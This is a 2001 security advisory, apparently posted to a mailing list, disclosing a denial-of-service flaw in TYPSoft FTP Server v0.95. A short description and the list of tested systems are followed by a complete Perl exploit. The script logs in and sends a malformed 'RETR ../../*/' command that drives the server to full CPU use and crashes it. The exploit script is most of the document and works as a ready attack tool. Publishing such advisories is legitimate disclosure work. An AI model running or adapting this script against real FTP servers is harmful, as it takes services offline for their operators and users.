[ASGUARD-LABS] TYPSoft FTP Server v0.95 STOR/RETR Denial of Service Vulnerability

From: J. Wagner (jan.wagnerat_private)
Date: Mon Oct 08 2001 - 05:05:00 PDT

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    -00 ASGUARD LABS ADVISORY 00-
    
    :Summary: 
    
    Release Date	: 	2001-10-04
    Affected	:       TYPSoft FTP Server v0.95
    Not Affected	:	-
    Attack Type	:	Denial Of Service
    Credits to	:	Jan Wagner
    
    
    :Description:
    
    The TYPSoft FTP Server v0.95 contains a simple D.O.S. which affects the "RETR" and "STOR" Command.
    
    
    :Detail:
    
    If the Server receives a special formed "STOR" or "RETR" command it consumes about 99% CPU Power
    and crashes. The Server must be restarted to operate aggain.
    
    Tested on:
    
    Windows 98se [german]
    Windows 2000 SP1 [german]
    
    
    :Exploit Code:
    
    <typ095DOS.pl>
    #!/usr/bin/perl
    
    use IO::Socket;
    use Socket;
    
    print "-= ASGUARD LABS EXPLOIT - TYPSoft FTP Server v0.95 =-\n\n";
    
    if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typ095DOS.pl <host> <user>
    <pass> [port]\n" };
    if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };
    
    $adr = $ARGV[0];
    $usr = $ARGV[1];
    $pas = $ARGV[2];
    $err = "RETR ../../*";
    
    #Both works "STOR" and "RETR"
    
    $remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
    PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";
    
    $remote->autoflush(1);
    
    print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
    "Error: can't send user\n";
    
    print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
    "Error: can't send pass\n";
    
    print $remote "$err/\n" and print "3. Sending : ErrorCode...\n\n"or die
    "Error: can't send error code\n";
    
    print "Attack done. press any key to exit\n";
    $bla= <STDIN>;
    close $remote;
    
    
    :Solution:
    
    (still) waiting for TYPsoft statement...
    



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